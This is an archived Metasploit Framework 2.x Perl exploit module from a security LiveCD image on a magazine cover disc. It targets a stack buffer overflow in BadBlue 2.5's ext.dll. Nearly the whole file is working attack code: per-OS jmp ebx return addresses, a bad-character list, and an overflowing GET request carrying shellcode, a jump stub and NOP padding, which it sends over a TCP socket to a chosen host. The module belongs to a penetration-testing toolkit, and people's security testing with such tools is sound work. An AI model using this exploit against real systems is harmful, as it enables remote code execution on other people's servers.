home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / usr / lib / metasploit / exploits / badblue_ext_overflow.pm < prev    next >
Text File  |  2006-06-30  |  3KB  |  121 lines

  1. ##
  2. # This file is part of the Metasploit Framework and may be redistributed
  3. # according to the licenses defined in the Authors field below. In the
  4. # case of an unknown or missing license, this file defaults to the same
  5. # license as the core Framework (dual GPLv2 and Artistic). The latest
  6. # version of the Framework can always be obtained from metasploit.com.
  7. ##
  8.  
  9. package Msf::Exploit::badblue_ext_overflow;
  10. use base "Msf::Exploit";
  11. use strict;
  12. use Pex::Text;
  13. my $advanced = { };
  14.  
  15. my $info =
  16.   {
  17.     'Name'  => 'BadBlue 2.5 EXT.dll Buffer Overflow',
  18.     'Version'  => '$Revision: 2275 $',
  19.     'Authors' => [ 'acaro <acaro [at] jervus.it>', ],
  20.     'Arch'  => [ 'x86' ],
  21.     'OS'    => [ 'win32' ],
  22.     'Priv'  => 0,
  23.  
  24.     'UserOpts'  =>
  25.       {
  26.         'RHOST' => [1, 'ADDR', 'The target address'],
  27.         'RPORT' => [1, 'PORT', 'The target port', 80],
  28.         'SSL'   => [0, 'BOOL', 'Use SSL'],
  29.       },
  30.  
  31.     'Payload' =>
  32.       {
  33.         'Space'     => 410,
  34.         'MinNops'   => 10,
  35.         'BadChars'  => "\x00\x0a\x0d\x20\x26\x2b\x26\x3d\x25\x8c\x3c",
  36.         'Keys'      => ['+ws2ord'],
  37.       },
  38.  
  39.     'Description'  => Pex::Text::Freeform(qq{
  40.         This is a stack overflow exploit for BadBlue version 2.5.
  41.     Tested only the Italian language version of Windows 2000 SP0 and SP4.
  42.     Based on the exploit by Hat-Squad.
  43. }),
  44.  
  45.     'Refs'  =>
  46.       [
  47.         ['OSVDB', 14238],
  48.         ['BID',    7387],
  49.         ['MIL',      11],
  50.       ],
  51.  
  52.     'DefaultTarget' => 0,
  53.     'Targets' =>
  54.       [
  55.         ['Bad Blue 2.5 (Universal)', 75, 0x10027728],# jmp ebx in ext.dll
  56.         ['Windows 2000 SP0-SP3 English', 75, 0x6c4292ab],# jmp ebx in mfc42.dll
  57.         ['Windows 2000 SP4 English', 75, 0x6c4302d3],# jmp ebx in mfc42.dll
  58.         ['Windows XP SP0-SP1 English', 75, 0x7762c383],# jmp ebx in shell32.dll
  59.         ['Windows XP SP2 English', 75, 0x73e7dcfd],# jmp ebx in mfc42.dll
  60.         ['Windows 2003 Server SP0-SP1 English', 75, 0x77d7eaf0],# jmp ebx in user32.dll
  61.       ],
  62.  
  63.     'Keys' => ['badblue'],
  64.  
  65.     'DisclosureDate' => 'Apr 20 2003',
  66.   };
  67.  
  68. sub new {
  69.     my $class = shift;
  70.     my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
  71.     return($self);
  72. }
  73.  
  74. sub Exploit {
  75.     my $self = shift;
  76.     my $target_host = $self->GetVar('RHOST');
  77.     my $target_port = $self->GetVar('RPORT');
  78.     my $target_idx  = $self->GetVar('TARGET');
  79.     my $shellcode   = $self->GetVar('EncodedPayload')->Payload;
  80.     my $target = $self->Targets->[$target_idx];
  81.  
  82.     if (! $self->InitNops(128)) {
  83.         $self->PrintLine("[*] Failed to initialize the nop module.");
  84.         return;
  85.     }
  86.  
  87.     my $pattern = "GET /ext.dll?mfcisapicommand=";
  88.  
  89.     $pattern .= $shellcode;
  90.     $pattern .= Pex::Text::AlphaNumText($target->[1]);
  91.     $pattern .= "\xEB\x0C\x90\x90";
  92.     $pattern .= pack('V', $target->[2]);
  93.     $pattern .= $self->MakeNops(8);
  94.     $pattern .= "\xE9\x0B\xFE\xFF\xFF";
  95.     $pattern .= $self->MakeNops(8);
  96.     
  97.     my $request = $pattern . "\x0D\x0A\x0D\x0A";
  98.  
  99.     $self->PrintLine(sprintf ("[*] Trying ".$target->[0]." using jmp ebx at 0x%.8x...", $target->[2]));
  100.  
  101.     my $s = Msf::Socket::Tcp->new
  102.       (
  103.         'PeerAddr'  => $target_host,
  104.         'PeerPort'  => $target_port,
  105.         'LocalPort' => $self->GetVar('CPORT'),
  106.         'SSL'       => $self->GetVar('SSL'),
  107.       );
  108.  
  109.     if ($s->IsError) {
  110.         $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
  111.         return;
  112.     }
  113.  
  114.     $s->Send($request);
  115.     $s->Recv(-1, 10);
  116.     $s->Close();
  117.     return;
  118. }
  119.  
  120. 1;
  121.